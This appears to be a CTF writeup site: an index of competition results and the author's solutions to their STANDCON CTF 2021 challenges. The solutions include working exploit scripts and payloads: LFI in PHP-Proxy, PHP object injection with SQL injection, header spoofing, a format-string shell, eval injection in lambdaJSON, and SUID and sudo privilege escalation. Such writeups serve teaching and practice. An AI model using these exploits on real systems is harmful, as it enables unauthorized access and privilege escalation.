# Zeyu's CTF Writeups Here you can find writeups from various CTFs that I've participated in. ## \~# man CTFs In case you don't know what CTFs are, here's a nice definition: > A capture the flag (CTF) contest is a special kind of cybersecurity competition designed to challenge its participants to solve computer security problems and/or capture and defend computer systems. ## \~# groups I play CTFs with [Social Engineering Experts](https://ctftime.org/team/151372) and [Water Paddler](https://ctftime.org/team/155019). Social Engineering Experts is a Singapore-based team founded by a group of friends. We're always looking for active players to join us — check out the recruitment form in our CTFtime profile. {% embed url="" %} ## \~# ls -la 2023 | CTF Name | Type | Position | | ---------------------------------------------------------------- | -------- | --------------------------------------------- | | [DEF CON CTF 2023 Qualifiers](/2023/def-con-ctf-2023-qualifiers) | Jeopardy | [🥇](https://emojipedia.org/1st-place-medal/) | | [hxp CTF 2022](/2023/hxp-ctf) | Jeopardy | [🥇](https://emojipedia.org/1st-place-medal/) | | [HackTM CTF Qualifiers](/2023/hacktm-ctf-qualifiers) | Jeopardy | 6th | | Insomni'hack Teaser | Jeopardy | 11th | | IrisCTF 2023 | Jeopardy | 1st | | TetCTF 2023 | Jeopardy | 4th | ## \~# ls -la 2022 | CTF Name | Type | Position | | ----------------------------------------------------------------- | --------------------- | ------------------------------------------------------------------------------------- | | ASIS CTF Finals 2022 | Jeopardy | [🥈](https://emojipedia.org/2nd-place-medal/) | | [niteCTF 2022](/2022/nitectf-2022) | Jeopardy | 13th | | [STACK the Flags 2022](/2022/stack-the-flags-2022) | Jeopardy | [🥉](https://emojipedia.org/3rd-place-medal/) | | LakeCTF Finals | Jeopardy | 6th | | [LakeCTF Qualifiers](/2022/lakectf-qualifiers) | Jeopardy | 7th | | [The InfoSecurity Challenge 2022](/2022/tisc-2022) | Jeopardy | Challenge Author | | Midnight Sun CTF Finals | Jeopardy | 7th | | Midnight Sun CTF Quals | Jeopardy | 6th | | [BalsnCTF 2022](/2022/balsnctf-2022) | Jeopardy | 8th | | HITB SECCONF CTF 2022 | Attack-Defense | 11th | | [BSidesTLV 2022 CTF](/2022/bsidestlv-2022-ctf) | Jeopardy | 7th | | [Grey Cat The Flag 2022 Qualifiers](/2022/grey-cat-the-flag-2022) | Jeopardy |

🥉 (SG)
4th (Overall)

| | [DEF CON CTF 2022 Qualifiers](/2022/def-con-ctf-2022-qualifiers) | Jeopardy | 26th | | [Securinets CTF Finals 2022](/2022/securinets-ctf-finals-2022) | Jeopardy | 4th | | [NahamCon CTF 2022](/2022/nahamcon-ctf-2022) | Jeopardy | 13th | | [Securinets CTF Quals 2022](/2022/securinets-ctf-quals-2022) | Jeopardy | 4th | | LINE CTF 2022 | Jeopardy | 19th | | [CTF.SG CTF](/2022/ctf.sg-ctf) | Jeopardy | [🥉](https://emojipedia.org/3rd-place-medal/) | | [YaCTF 2022](/2022/yactf-2022) | Jeopardy (Individual) | 13th | | [DiceCTF 2022](/2022/dicectf-2022) | Jeopardy | 33rd | | [TetCTF 2022](/2022/tetctf-2022) | Jeopardy | 7th | ## \~# ls -la 2021 | CTF Name | Type | Position | | -------------------------------------------------------------------------------------------- | --------------------- | ----------------------------------------------------------------------------------------- | | [hxp CTF 2021](/2021/hxp-ctf-2021) | Jeopardy | 48th | | [HTX Investigator's Challenge 2021](/2021/htx-investigators-challenge-2021) | Jeopardy | Top of Scoreboard | | idekCTF 2021 | Jeopardy | 13th | | [Metasploit Community CTF](/2021/metasploit-community-ctf) | Hack Quest | 7th | | [MetaCTF CyberGames](/2021/metactf-cybergames) | Jeopardy | 24th | | [CyberSecurityRumble CTF](/2021/cybersecurityrumble-ctf) | Jeopardy | 16th | | [The InfoSecurity Challenge (TISC) 2021](/2021/the-infosecurity-challenge-tisc-2021) | Jeopardy (Individual) | 23rd | | BuckeyeCTF 2021 | Jeopardy | 7th | | [SPbCTF's Student CTF 2021 Quals](/2021/spbctfs-student-ctf-quals) | Jeopardy | 37th | | pbCTF 2021 | Jeopardy | 32nd | | DeconstruCT.F | Jeopardy | 14th | | [Asian Cyber Security Challenge (ACSC) 2021](/2021/asian-cyber-security-challenge-acsc-2021) | Jeopardy (Individual) |

🥉 (SG)

33rd (Overall)

| | [CSAW CTF Qualification Round 2021](/2021/csaw-ctf-qualification-round-2021) | Jeopardy | 23rd | | [YauzaCTF 2021](/2021/yauzactf-2021) | Jeopardy | 9th | | [InCTF International](/2021/inctf-2021) | Jeopardy | 22nd | | DEF CON 29 Red Team Village CTF (Finals) | Hack Quest | 18th | | DEF CON 29 Red Team Village CTF (Quals) | Jeopardy | 16th | | [UIUCTF 2021](/2021/uiuctf-2021) | Jeopardy | 18th | | Securebug Loki CTF | Jeopardy | 5th | | [Google CTF 2021](/2021/google-ctf-2021) | Jeopardy | < 20% | | [TyphoonCon CTF 2021](/2021/typhooncon-ctf-2021) | Jeopardy | 10th | | [DSTA BrainHack CDDC21](/2021/dsta-brainhack-cddc21) | Jeopardy | [🥉](https://emojipedia.org/3rd-place-medal/) | | [BCACTF 2.0](https://github.com/zeyu2001/CTFs/blob/master/2021/bcactf-2.0) | Jeopardy | 43rd | | [Zh3ro CTF V2](/2021/zh3ro-ctf-v2) | Jeopardy | 37th | | [Pwn2Win CTF](/2021/pwn2win-ctf-2021) | Jeopardy | 62nd | | [NorzhCTF](/2021/norzhctf-2021) | Hack Quest | 29th | | [DawgCTF](/2021/dawgctf-2021) | Jeopardy | 13th | | [UMDCTF](/2021/umdctf-2021) | Jeopardy | 8th | | [Midnight Sun CTF](/2021/midnight-sun-ctf) | Jeopardy | < 20% | | [picoCTF](/2021/picoctf) | Jeopardy | < 5% | | [DSO-NUS CTF](/2021/dso-nus-ctf) | Jeopardy | < 20% | ## \~# cat LICENSE All original code is licensed under the MIT license. # STANDCON CTF 2021 STANDCON CTF is a Singaporean CTF competition for tertiary students. ![](/files/PBu5Yym1Wb3To0HdIPfH) Here are the solutions to my challenges for the STANDCON CTF, hosted by N0H4TS on 25 July. It was my first time writing challenges for a CTF, so please feel free to let me know if you have any feedback! ## Web * [Space Station](/my-challenges/standcon-ctf-2021/space-station) * [Star Cereal](/my-challenges/standcon-ctf-2021/star-cereal) * [Star Cereal 2](/my-challenges/standcon-ctf-2021/star-cereal-2) Space Station was a relatively simple challenge, requiring participants to identify an LFI vulnerability in the PHP-Proxy library. Star Cereal and Star Cereal 2 proved to be the more challenging. Star Cereal required knowledge of PHP deserialization and object injection, while Star Cereal 2 required some creative thinking to piece clues together. Star Cereal 2 went unsolved until the last hour of the CTF when additional hints were released. ## Pwn * [Mission Control](/my-challenges/standcon-ctf-2021/mission-control) * [Rocket Science](/my-challenges/standcon-ctf-2021/rocket-science) * [Space University of Interior Design](/my-challenges/standcon-ctf-2021/space-university-of-interior-design) Mission Control was a relatively simple challenge, requiring participants to overwrite a global variable through a format string vulnerability. Space University of Interior Design was a rather fun challenge, requiring participants to escalate privileges through SUID and SUDO misconfigurations. Rocket Science proved to be the most challenging. This challenge required participants to find information on the lambdaJSON library, read the source code, and exploit it independently. ## Cryptography * [Rocket Ship Academy](/my-challenges/standcon-ctf-2021/rocket-ship-academy) * [Space Noise](/my-challenges/standcon-ctf-2021/space-noise) Rocket Ship Academy was a classic textbook RSA chosen-ciphertext attack. Space Noise was a little more challenging, requiring participants to find patterns in the given PCAP file, and infer that a covert channel was implemented using morse code. # Space Station N-day Local File Inclusion (LFI) vulnerability in PHP-Proxy. ## Description Where do you want to go? `http://20.198.209.142:55047` *The flag is in the flag format: STC{...}* **Author: zeyu2001** ## Solution Going to the given site only shows `Hello Mars!`. ![](/files/AtHCpvXX5yO0B70wur6B) Performing a simple directory busting scan, we find some interesting information. ``` └─# gobuster dir -u http://20.198.209.142:55047/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 10 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://20.198.209.142:55047/ [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2021/07/23 23:06:33 Starting gobuster =============================================================== /.hta (Status: 403) /.hta.php (Status: 403) /.hta.txt (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /.htpasswd.php (Status: 403) /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htaccess.php (Status: 403) /app (Status: 301) /flag.txt (Status: 403) /index.php (Status: 200) /index.php (Status: 200) /server-status (Status: 403) =============================================================== 2021/07/23 23:06:52 Finished =============================================================== ``` We find a `/flag.txt`, but we cannot view it. Let's keep in mind that the flag is in web root for now. ![](/files/S6yIuMx74XLQ8zA8zDpz) Going to `/app` gives us a web proxy application. ![](/files/FrpZerY7CYRbGHv30avV) We can enter any URL, and the corresponding page will be rendered on our browser. At the bottom of the page, we find that this application is "Powered by PHP-Proxy" and a [link](https://www.php-proxy.com) is given. ![](/files/2hasO20AbquovbL073Bc) This link leads us to the GitHub repository, where a search for Issues containing the word "vulnerability" yields several results. ![](/files/7xKXzlKGy1iy8AzVT2x1) A currently open and unfixed issue is that PHP-Proxy (all versions) suffers from a Local File Inclusion (LFI) vulnerability: . We can also find more details here: ### The Exploit The exploit script is already provided in the GitHub issue above. ```python import requests import base64 def encrypt(plaintext, key): key_length = len(key) key_as_int = [ord(i) for i in key] plaintext_int = [ord(i) for i in plaintext] ciphertext = [] for i in range(len(plaintext_int)): value = (plaintext_int[i] + key_as_int[i % key_length]) % 256 ciphertext.append(value) return bytes(ciphertext) def calculate_key(ciphertext, plaintext): key = [] for i in range(0, len(ciphertext)): if ciphertext[i] - ord(plaintext[i]) < 0: key.append(chr(ciphertext[i] - ord(plaintext[i]) + 256)) else: key.append(chr(ciphertext[i] - ord(plaintext[i]))) return "".join(key[:32]) def exploit(url, file_to_read): r = requests.post(url + '/index.php', data={'url': 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'}, allow_redirects=False) b64_url_ciphertext = r.headers['location'].split('?q=')[1] b64_url_ciphertext = b64_url_ciphertext + "=" * (len(b64_url_ciphertext) % 4) url_ciphertext = base64.b64decode(b64_url_ciphertext) url_plaintext = 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com' key = calculate_key(url_ciphertext, url_plaintext) return requests.get(url + '/index.php', params={'q': base64.b64encode(encrypt(file_to_read, key))}).text print(exploit('http://20.198.209.142:55047/app', 'file:///var/www/html/flag.txt')) ``` Running the script gives us the flag, `STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}` ![](/files/jp3tWGzMVfzPczEFANeo) To understand why the exploit works, read on below! ### The Vulnerability When visiting a page through PHP-Proxy, the `q=` parameter is used. This is the URL we are visiting, encrypted using an app key in the package configuration. The encryption key is generated as follows: ```php Config::set('encryption_key', md5(Config::get('app_key').$_SERVER['REMOTE_ADDR'])); ``` The URL is encrypted as follows: ```php $url = str_rot_pass($url, $key); ``` The following encryption function is not secure enough. It simply takes every character of the key and adds it to the original plaintext. Since we know both the plaintext (the original URL) and the ciphertext (the `q=` parameter), we can easily reverse-engineer the key. ```php // rotate each string character based on corresponding ascii values from some key function str_rot_pass($str, $key, $decrypt = false){ // if key happens to be shorter than the data $key_len = strlen($key); $result = str_repeat(' ', strlen($str)); for($i=0; $iverifyLogin()) { $_SESSION['admin'] = true; } else { $_SESSION['admin'] = false; } } catch (Error $e) { $_SESSION['admin'] = false; } } // Handle form submission if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token'])) { $login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']); setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/"); header("Refresh:0"); die(); } ``` The `login` cookie is deserialized into a `Login` object. This should already sound some alarm bells! The `Login` object consists of a `User` object and an MFA token. The `$mfa_token` is checked against an integer `$_correctValue` randomly generated at runtime. If the check passes, the user credentials are then checked. ```php class Login { public $user; public $mfa_token; protected $_correctValue; function __construct($user, $mfa_token) { $this->user = $user; $this->mfa_token = $mfa_token; } function verifyLogin() { $this->_correctValue = random_int(1e10, 1e11 - 1); if ($this->mfa_token === $this->_correctValue) { return $this->user->is_admin(); } } } ``` Interestingly, the `User` class instantiates a `SQL` object, and uses it to execute SQL queries to authenticate the user. If results are returned and consist of the `email` and `password` columns, then the authentication is successful. ```php class User { public $email; public $password; protected $sql; function __construct($email, $password) { $this->email = $email; $this->password = $password; $this->sql = new SQL(); } function __toString() { return $this->email . ':' . $this->password; } function is_admin() { $result = $this->sql->exec_query($this->email, $this->password); if ($result && $row = $result->fetch_assoc()) { if ($row['email'] && $row['password']) { return true; } } return false; } } ``` The `SQL` class contains a `$query` attribute that is used to generate a prepared statement. Note that if the `bind_param()` call returns `false`, the authentication fails. This can happen if, for example, the number of parameters in the prepared statement and the number of variables to bind do not match. ```php class SQL { protected $query; function __construct() { $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?"; } function exec_query($email, $pass) { $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS")); // Check connection if ($conn->connect_error) { die("Connection failed. Please inform CTF creators."); } $stmt = $conn->prepare($this->query); // Sanity check if (! $stmt->bind_param("ss", $email, $pass)) { return NULL; } $stmt->execute(); $result = $stmt->get_result(); return $result; } } ``` ### Object Injection When user data is deserialized into objects, we can inject custom objects to e.g. modify protected attributes, bypass authentication, etc. We can bypass the above checks by using a "POP chain" of custom objects. #### MFA Token The MFA token check can be bypassed if we set `$mfa_token` as a reference to the `$_correctValue` attribute using the ampersand (&). Note that in PHP, a reference is simply another variable that points to the same data (unlike pointers in C). Thus, this will ensure that the two values are always **equal**. The custom object can be generated as follows: ```php class Login { public $user; public $mfa_token; protected $_correctValue; function __construct() { $this->user = new User(); $this->mfa_token = &$this->_correctValue; } } $login = new Login(); ``` #### SQL Note that the `SQL` class has a `$query` attribute that is used in the prepared statement. By simply modifying the `$query`, we can perform an SQL injection. To bypass the authentication we simply need a valid result set with `email` and `password` columns. We can use something like ```sql SELECT 'dead@beef' AS email, 'l33t' AS password ``` which will return one row with `email` and `password` columns. Remember the `bind_param()` check? We still need to make sure that there are two parameters in the prepared statement, so we will do something like this: ```sql SELECT ? AS email, ? AS password ``` any other valid query that makes use of two parameters would work too. ### Exploit Using the previously discussed knowledge, it is now trivial to create a solver script that gives us the required base-64 encoded serialized data. ```php class SQL { protected $query="SELECT ? AS email, ? AS password"; } class User { public $email = 'dead@beef'; public $password = 'l33t'; protected $sql; function __construct() { $this->sql = new SQL(); } } class Login { public $user; public $mfa_token; protected $_correctValue; function __construct() { $this->user = new User(); $this->mfa_token = &$this->_correctValue; } } $login = new Login(); var_dump($login); echo urlencode(base64_encode(serialize($login))); ``` Running the above script gives us the required cookie value. ![](/files/nBRT2sXka12Z5h2PIezk) Plugging this into the `login` cookie on our browser, we can login and get the flag. ![](/files/vL161PVA2Bj7ZDjVeNgf) # Star Cereal 2 Spoofable client IP address, SQL injection vulnerability ## Description Ha, that was sneaky! But I've patched the login so that people like you can't gain access anymore. Stop hacking us! `http://20.198.209.142:55045` *The flag is in the flag format: STC{...}* **Author: zeyu2001** ## Solution In `index.php`, notice the following comment ```markup ``` Point 1) is referring to the previous challenge. Point 2) is interesting. If we go to `login.php`, we get a 403 Forbidden Page: ```markup

Forbidden

Only admins allowed to login.

``` ### Spoofable Client IP We could deduce that perhaps the server filters requests by the client IP. A common security misconfiguration in implementing such a filter is the use of the [X-Forwarded-For header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For). This header is used for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. Note that HTTP request headers can be [easily spoofed](https://portswigger.net/kb/issues/00400110_spoofable-client-ip-address). Knowing that one of the internal IP addresses is 172.16.2.155, we may want to check the 172.16.2.0/24 subnet for valid client IPs. If we do a scan (e.g. using Burp Suite Intruder) for the 172.16.2.0/24 subnet with the `X-Forwarded-For` header, we would find that if we set: ```http X-Forwarded-For: 172.16.2.24 ``` then we would see the login page. ### Burp Suite Intruder Scan First, set the payload position as follows: ![](/files/iOwuJsc3sdvsSwGu4y1F) Then, configure the payload as a list of numbers from 1 to 255. ![](/files/yl5z7JAuZnkjBi5kW0Wl) Run the attack. Sort the output by either the Status or Length columns. We will find that `X-Forwarded-For: 172.16.2.24` gives us a 200 OK response code, and shows us the login page. ![](/files/Lz1fxvlCQYCXIo2AdP8N) ### SQL Injection Once we have access to the login page, notice the login form fields. ```markup
``` We need to submit an `email` and a `pass` parameter. We can exploit SQL injection to get the flag. ```http POST /login.php HTTP/1.1 Host: localhost:55043 X-Forwarded-For: 172.16.2.24 ... Content-Type: application/x-www-form-urlencoded Content-Length: 51 email=test&pass=test' UNION SELECT 'test', 'test';# ``` The flag is `STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}`. ![](/files/Q5NY5q47w5XL4gcJ6Pb8) # Mission Control Format string vulnerability ## Description There have been many hackers trying to compromise our mission control panel lately. We have added a few verification checks! `nc 20.198.209.142 55021` *The flag is in the flag format: STC{...}* **Author: zeyu2001** {% file src="/files/-MfMAIHqMGt\_NlT9N9k8" %} mission\_control {% endfile %} {% file src="/files/-MfMAJFPbNBIHDoRKsKe" %} mission\_control.c {% endfile %} ## Solution ### Source Code Analysis To get the flag, users must overwrite the `secret_code` global variable. ```c #define ADMIN_CODE 200 int secret_code = 0; ... int main(int argc, char **argv) { if (secret_code == ADMIN_CODE) { give_shell(); } else { printf("Sorry, this area is currently disabled.\n"); } return 0; } ``` Now let's look at the rest of the code. User input is read into `buf`, and `buf` is concatenated to `to_print` before `printf(to_print)` is called. ```c ... char buf[128]; memset(buf, 0, sizeof(buf)); fgets(buf, 128, stdin); char to_print[256]; memset(to_print, 0, sizeof(to_print)); strcpy(to_print, "You said: "); strcat(to_print, buf); printf(to_print); printf("Code: %d\n", secret_code); ... ``` This is a classic format string vulnerability. User input is directly passed into the `printf` format string, allowing us to write to arbitrary memory addresses. An additional restriction is that the first 16 characters of the input must be "I am not a robot". ```c if (strncmp(buf, "I am not a robot", 16) == 0) { printf("Glad to hear that!\n"); } else { printf("Stop hacking us!\n"); return 0; } ``` ### Exploitation Using `objdump`, we can find the memory address of `secret_code`. ``` $ objdump -t mission_control | grep secret_code 080dffbc g O .bss 00000004 secret_code ``` We need to send 4 bytes in order to specify the address which we want to overwrite. Let this be `AAAA` for now. By sending `I am not a robotAAAA%x.%x.%x ...`, we can leak the stack values (every `%x` represents 4 bytes). ![](/files/uNDvia62xccJJeNwm2zM) Notice that `4141746f` appears at the 10th index and `78254141` at the 11th index. We need the full four bytes to be at the same index, so let's add two extra bytes before the `AAAA`. ![](/files/EIlHRnDg4TR0LpxoD1pY) We have added two extra bytes `BB` and used Direct Parameter Access (DPA) to specify we want the 11th index. The payload is `I am not a robotBBAAAA%11$p`. As we can see, the 11th index is now our `AAAA` string, i.e.`0x41414141`. Perfect! The final payload is `I am not a robotBB\xbc\xff\x0d\x08%168x%11$n`. * `\xbc\xff\x0d\x08` is the memory address of `secret_code` (0x080dffbc) in little-endian. * `%168x%11$n` writes 168 + \[bytes already wrote] to the address on the 11th index. The exploitation process is outlined by this script: ```python from pwn import * # Bruteforce the index of the buffer conn = remote("20.198.209.142", 55021) print(conn.recv()) conn.send("I am not a robotBBAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\r\n") print(conn.recv()) # Check the index of the buffer conn = remote("20.198.209.142", 55021) print(conn.recv()) conn.send(b"I am not a robotBBAAAA%11$p\r\n") print(conn.recv()) # Overwrite the secret_code address conn = remote("20.198.209.142", 55021) print(conn.recv()) conn.send(b"I am not a robotBB\xbc\xff\x0d\x08%168x%11$n\r\n") # 080dffbc print(conn.recv()) conn.interactive() ``` Once we overwrite the secret code, we are given a shell. ![](/files/6OuOZ403XnWxWpEmEH2d) The flag is `STC{1_l0v3_f0rm4t_st1ngs_0ab7a4af7bb1343810ccde8244031f2f}`. # Rocket Science Code injection vulnerability in lambdaJSON ## Description Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers! `nc 20.198.209.142 55020` *The flag is in the flag format: STC{...}* **Author: zeyu2001** {% file src="/files/-MfMROF5eetXvu-lW\_68" %} requirements.txt {% endfile %} {% file src="/files/-MfMRSjF9XiyqyRMI\_TM" %} rocket\_science.py {% endfile %} ## Solution The requirements file contains only a single dependency. ``` lambdajson == 0.1.4 ``` Let's take a look at the part of the source code in which this is used. ```python elif ipt == '3': print("Enter saved numbers:") try: numbers = lj.deserialize(input('> ')) if type(numbers) == tuple and all(type(x) == int for x in numbers): print(numbers) else: print("Don't you know what numbers are?") except: print("Invalid input!") ``` We can see that `lj.deserialize()` is called directly on the user input. It's always a good idea to check dependencies for vulnerabilities, so let's go to the [PyPi page](https://pypi.org/project/lambdaJSON/) for lambdaJSON. If version 0.1.4 is vulnerable, then we should expect later versions to issue security fixes. On the [release notes](https://pypi.org/project/lambdaJSON/0.1.5/) from version 0.1.5, we find our vulnerability. ![](/files/0k07gRYnuNZe1k5A3Nxa) Under the "Changes from previous" section: > Security fix. Using ast.literal\_eval as eval. From the release history, we can find out when this fix was released. ![](/files/7LQB6Udrci0MC8fCNgnh) This allows us to find the [GitHub commit](https://github.com/pouya-eghbali/lambdaJSON/commit/0d3bcb8bf3388c90819f0f24c9865bc8d4d8b91e) for this fix. ![](/files/us5FN4Ol1oTT4cpowHIg) Great! We have found the source code for the vulnerable version of the package. In the [source code](https://github.com/pouya-eghbali/lambdaJSON/blob/05d8d92916cdb9df20b83265c6ccd38d6b29d52b/lambdaJSON.py), we find that the `restore()` function used by `deserialize()` uses `eval()`! ```python restore = lambda obj: (isinstance(obj, str) and (lambda x: x.startswith('bytes://') and bytes(x[8:], encoding = 'utf8') or x.startswith('int://') and int(x[6:]) or x.startswith('float://') and float(x[8:]) or x.startswith('long://') and long(x[7:]) or x.startswith('bool://') and eval(x[7:]) or x.startswith('complex://') and complex(x[10:]) or x.startswith('tuple://') and eval(x[8:]) or x)(obj) or isinstance(obj, list) and [restore(i) for i in obj] or isinstance(obj, dict) and {restore(i):restore(obj[i]) for i in obj} or obj) ... deserialize = lambda obj: restore(json.loads(obj)) ``` Note that the deserialized output must be a tuple of integers. ```python if type(numbers) == tuple and all(type(x) == int for x in numbers): print(numbers) ``` The vulnerable version of `deserialize()` will strip the starting `tuple://` and `eval()` the rest of the input string. So, if we use the following payload: ``` "tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)" ``` we will get the integer representation of the flag. ![](/files/R6mOG44i0UCqOclU9YWd) The flag is `STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}` ``` ➜ ~ python3 Python 3.9.5 (default, May 4 2021, 03:36:27) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from Crypto.Util.number import long_to_bytes >>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410) b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n' >>> ``` # Space University of Interior Design SUID and Sudo misconfigurations ## Description Storytelling is the root of interior design. `nc 20.198.209.142 55022` *The flag is in the flag format: STC{...}* **Author: zeyu2001** ## Solution We start off as a guest user, and need to escalate our privileges to get the flag. ``` $ id uid=1001(guest) gid=1001(guest) groups=1001(guest) ``` Let's find all files with SUID permissions. ``` $ find / -perm /4000 /bin/umount /bin/ping /bin/mount /bin/su /usr/bin/newgrp /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/passwd /usr/bin/python3.7 /usr/bin/sudo ``` We find that Python has SUID permissions. Refer to . This allows us to gain the privileges of the file owner. Use the following command, and observe that our EUID has changed to that of `jared`. ``` $ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' $ id uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest) ``` Without having the true UID set to that of `jared`, we cannot `sudo`. But while we were previously unable to view `jared`'s files, we can now view them. ``` $ ls -la jared total 900 drwx------ 1 jared jared 4096 Jul 8 18:48 . drwxr-xr-x 1 jared jared 4096 Jul 8 18:39 .. -rwx------ 1 jared jared 220 Apr 18 2019 .bash_logout -rwx------ 1 jared jared 3526 Apr 18 2019 .bashrc -rwx------ 1 jared jared 807 Apr 18 2019 .profile -rwx------ 1 jared jared 884736 Nov 29 2015 chinook.db -rwx------ 1 jared jared 117 Jul 8 18:38 creds.txt -rwx------ 1 jared jared 668 Jul 8 17:58 query_db.py ``` There is an interesting file in `jared`'s directory. ``` $ cat jared/creds.txt In case I forget my credentials. jared:iamrich Thanks to my awesome sysadmin, no one else can see this file! ``` We found `jared`'s credentials. Now, we can `su` to gain full permissions. Observe that the true UID is now that of `jared`. ``` $ id uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest) $ su jared iamrich $ id uid=1000(jared) gid=1000(jared) groups=1000(jared),27(sudo) ``` If we check our `sudo` privileges, we find that we can execute `query_db.py` with elevated privileges. ``` $ sudo -l Matching Defaults entries for jared on fa9f84013480: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User jared may run the following commands on fa9f84013480: (ALL) NOPASSWD: /home/jared/query_db.py ``` This Python file queries the `chinook.db` database, and allows a `--row` argument. ```python #!/usr/bin/python3 import os import tempfile import argparse def query_db(row): if not row: row = 'FirstName' sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;" os.system(f'echo "{sql}" | /usr/bin/sqlite3') print("Done!") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--row", help="Row to query") args = parser.parse_args() query_db(args.row) ``` If we refer to , we can find some payloads to help us. Here are two working payloads to get the flag. ### Payload 1 `sqlite3` has the `.shell` command, which allows you to run system commands. ``` .shell CMD ARGS... Run CMD ARGS... in a system shell ``` We can use this to run `cat /root/flag.txt`. ``` $ sudo ./query_db.py --row "FirstName FROM employees;\n.shell cat /root/flag.txt;\nSELECT FirstName" Andrew Nancy Jane Margaret Steve Michael Robert Laura STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Andrew Nancy Jane Margaret Steve Michael Robert Laura Done! ``` ### Payload 2 We can alternatively use `.import` to import data from a file into a table. ``` $ sudo ./query_db.py --row "FirstName FROM employees;\n.open\nCREATE TABLE a(line TEXT);\n.import /root/flag.txt a\nSELECT * FROM a;\nSELECT FirstName" Andrew Nancy Jane Margaret Steve Michael Robert Laura STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808} Done! ``` Both are equally valid! The flag is `STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}`. # Rocket Ship Academy RSA Chosen Ciphertext Attack ## Description Oracle: a person or thing regarded as an infallible authority on something. Do we have one of those here? `nc 20.198.209.142 55002` *The flag is in the flag format: STC{...}* **Author: zeyu2001** ## Solution We are given an RSA decryption oracle. We can supply any ciphertext to be decrypted, except the original, given ciphertext. ![](/files/LuXLG7wkkrFOjNVopK1o) Textbook RSA is vulnerable to Chosen Ciphertext Attack (CCA), where a user is able to supply an arbitrary ciphertext to be decrypted. Recall that $$ ed\equiv1\pmod{(p-1)(q-1)} $$ Therefore, suppose we supply a ciphertext $$ c'=r^ec\pmod{n} $$ then decrypting this gives $$ m'=r^{ed}c^d\pmod{n}\newline m'=rm\pmod{n} $$ Let $$r=2$$ . The solve script is as follows: ```python from Crypto.Util.number import long_to_bytes from pwn import * from decimal import * import re getcontext().prec = 100000000 pattern = "n = (\d+)\ne = (\d+)\nc = (\d+)" conn = remote('localhost', '12345') received = conn.recv().decode() matches = re.search(pattern, received) n, e, c = int(matches[1]), int(matches[2]), int(matches[3]) print('n =', n) print('e =', e) print('c =', c) print() ciphertext = Decimal(c) * ((2 ** Decimal(e)) % Decimal(n)) % Decimal(n) print('Ciphertext:', ciphertext) conn.send(str(ciphertext) + '\r\n') received = conn.recv().decode() matches = re.search("Decrypted: (\d+)\n", received) decrypted = int(matches[1]) print() print(long_to_bytes(Decimal(decrypted) / 2)) ``` The flag is `STC{ch0s3n_c1ph3rt3xt_d7b593cd54baba9e2ffa49215d33e4c657cf230a}`. ![](/files/YkA8YBITT2NUJ11KEl5r) # Space Noise TCP covert channel using Morse Code ## Description We just intercepted a secret transmission from the Secret Space Agency, but the traffic looks really weird... Wireshark shows so much red! Can you help us to figure out what's going on? *The flag is in the flag format: STC{...}* **Author: zeyu2001** {% file src="/files/-MfNPRXN7StouEEMvHS0" %} space\_noise.pcap {% endfile %} ## Solution We are provided with a PCAP file containing packets sent between 192.168.1.1 and 192.168.1.2. ![](/files/d1OhqiMSHYBTHPat2wIY) Let's find some patterns! First, notice that the SYN-PSH pair is sent at regular intervals. Perhaps this is a delimiter of sorts. The SYN packet is sent from 192.168.1.1 to 192.168.1.2, while the 